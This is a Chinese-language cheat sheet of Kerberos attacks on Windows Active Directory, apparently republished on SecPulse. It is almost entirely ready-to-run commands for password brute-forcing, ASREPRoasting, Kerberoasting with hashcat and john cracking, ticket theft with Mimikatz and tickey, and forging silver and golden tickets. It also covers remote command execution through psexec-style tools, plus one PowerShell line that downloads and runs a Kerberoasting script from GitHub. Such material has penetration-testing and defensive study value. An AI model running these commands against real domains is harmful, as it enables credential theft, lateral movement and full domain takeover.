使用kerbrute.py:
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>
使用带有暴力破解模块的Rubeus版本:
# with a list of users.Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file># check passwords for all users in current domain.Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
使用Impacket的示例GetNPUsers.py:
# check ASREPRoast for all domain users (credentials required)python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file># check ASREPRoast for a list of users (no credentials required)python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
使用Rubeus:
# check ASREPRoast for all users in current domain.Rubeus.exe asreproast /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file>
密码字典破解:
hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_file>
john --wordlist=<passwords_file> <AS_REP_responses_file>
使用Impacket示例GetUserSPNs.py:
python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>
使用Rubeus:
.Rubeus.exe kerberoast /outfile:<output_TGSs_file>
使用Powershell:
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>
密码字典破解:
hashcat -m 13100 --force <TGSs_file> <passwords_file>john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>
通过使用Impacket示例:
# Request the TGT with hashpython getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash># Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)python getTGT.py <domain_name>/<user_name> -aesKey <aes_key># Request the TGT with passwordpython getTGT.py <domain_name>/<user_name>:[password]# If not provided, password is asked# Set the TGT for impacket useexport KRB5CCNAME=<TGT_ccache_file># Execute remote commands with any of the following by using the TGTpython psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
使用Rubeus和PsExec:
# Ask and inject the ticket.Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt# Execute a cmd in the remote machine.PsExec.exe -accepteula \<remote_hostname> cmd
从Linux中获得tickets
检查tickets的类型和位置:
grep default_ccache_name /etc/krb5.conf
如果没有返回,则默认为FILE:/tmp/krb5cc_%{uid}
如果是tickets文件,则可以复制粘贴(如果有权限)以使用它们。
如果是KEYRING tickets,你可以使用tickey来获取:
# To dump current user tickets, if root, try to dump them all by injecting in other user processes# to inject, copy tickey in a reachable folder by all userscp tickey /tmp/tickey
/tmp/tickey -i
从Windows中获得tickets
使用Mimikatz:
mimikatz # sekurlsa::tickets /export
在Powershell中使用Rubeus:
.Rubeus dump# After dump with Rubeus tickets in base64, to write the in a file[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))
使用ticket_converter.py在Linux / Windows格式之间转换tickets:
python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi
在Linux中使用ticket:
使用Impacket示例:
# Set the ticket for impacket useexport KRB5CCNAME=<TGT_ccache_file_path># Execute remote commands with any of the following by using the TGTpython psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
在Windows中使用ticket:
使用Mimikatz注入ticket:
mimikatz # kerberos::ptt <ticket_kirbi_file>
使用Rubeus注入ticket:
.Rubeus.exe ptt /ticket:<ticket_kirbi_file>
使用PsExec在远程计算机中执行cmd :
.PsExec.exe -accepteula \<remote_hostname> cmd
使用Impacket示例:
# To generate the TGS with NTLMpython ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name># To generate the TGS with AES keypython ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name># Set the ticket for impacket useexport KRB5CCNAME=<TGS_ccache_file># Execute remote commands with any of the following by using the TGTpython psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
使用Mimikatz:
# To generate the TGS with NTLMmimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname># To generate the TGS with AES 128 keymimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname># To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname># Inject TGS with Mimikatzmimikatz # kerberos::ptt <ticket_kirbi_file>
使用 Rubeus注入ticket:
.Rubeus.exe ptt /ticket:<ticket_kirbi_file>
使用PsExec在远程计算机中执行cmd :
.PsExec.exe -accepteula \<remote_hostname> cmd
使用 Impacket 示例:
# To generate the TGT with NTLMpython ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> <user_name># To generate the TGT with AES keypython ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> <user_name># Set the ticket for impacket useexport KRB5CCNAME=<TGS_ccache_file># Execute remote commands with any of the following by using the TGTpython psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
使用 Mimikatz:
# To generate the TGT with NTLMmimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name># To generate the TGT with AES 128 keymimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name># To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name># Inject TGT with Mimikatzmimikatz # kerberos::ptt <ticket_kirbi_file>
使用Rubeus注入ticket:
.Rubeus.exe ptt /ticket:<ticket_kirbi_file>
使用PsExec在远程计算机中执行cmd :
.PsExec.exe -accepteula \<remote_hostname> cmd
已知密码获取NTLM:
python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<password>".encode("utf-16le")).digest())'
kerbrute.py:https://github.com/TarlogicSecurity/kerbrute Rubeus:https://github.com/Zer1t0/Rubeus PsExec:https://docs.microsoft.com/en-us/sysinternals/downloads/psexec Impacket:https://github.com/SecureAuthCorp/impacket tickey:https://github.com/TarlogicSecurity/tickey Mimikatz:https://github.com/gentilkiwi/mimikatz
本文作者:Bypass007
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/123403.html